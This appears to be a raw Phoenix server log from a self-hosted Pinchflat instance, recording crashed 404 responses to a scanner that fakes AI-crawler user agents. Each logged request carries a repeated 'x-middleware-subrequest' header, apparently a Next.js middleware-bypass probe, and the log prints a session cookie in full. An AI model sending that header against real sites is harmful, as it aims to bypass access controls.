running PinchflatWeb.Endpoint (connection #PID<0.29826.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /openapi.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /openapi (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29826.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/openapi.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34646}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29827.0>, params: %{}, path_info: ["openapi"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/openapi.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jwnKMXZm3IABwfh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29826.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/openapi.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34646}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /openapi (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29826.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/openapi.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34646}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:09.833 [info] GET /api/health 16:49:09.833 [info] GET /manifest.webmanifest 16:49:09.833 [debug] QUERY OK source="settings" db=0.0ms idle=105.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.834 [debug] QUERY OK source="settings" db=0.1ms idle=66.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.834 [debug] QUERY OK source="settings" db=0.2ms idle=65.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.834 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.834 [debug] QUERY OK source="settings" db=0.0ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.834 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.834 [error] #PID<0.29829.0> running PinchflatWeb.Endpoint (connection #PID<0.29828.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/health ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/health (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/health", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29829.0>, params: %{}, path_info: ["api", "health"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/health", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jyeODm2f7wABwgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/health", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/health (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29828.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/health", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:09.834 [error] #PID<0.29831.0> running PinchflatWeb.Endpoint (connection #PID<0.29830.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /manifest.webmanifest ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29830.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manifest.webmanifest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34658}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29831.0>, params: %{}, path_info: ["manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/manifest.webmanifest", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jyhTQCmoE4ABwgh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29830.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manifest.webmanifest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34658}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29830.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manifest.webmanifest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34658}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7. (truncated) 16:49:09.835 [info] GET /api/openapi.json 16:49:09.835 [debug] QUERY OK source="settings" db=0.0ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.836 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.836 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.836 [error] #PID<0.29833.0> running PinchflatWeb.Endpoint (connection #PID<0.29832.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/openapi.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/openapi (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29832.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/openapi.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34664}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29833.0>, params: %{}, path_info: ["api", "openapi"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/openapi.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jy_NgX-9xwABMWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: 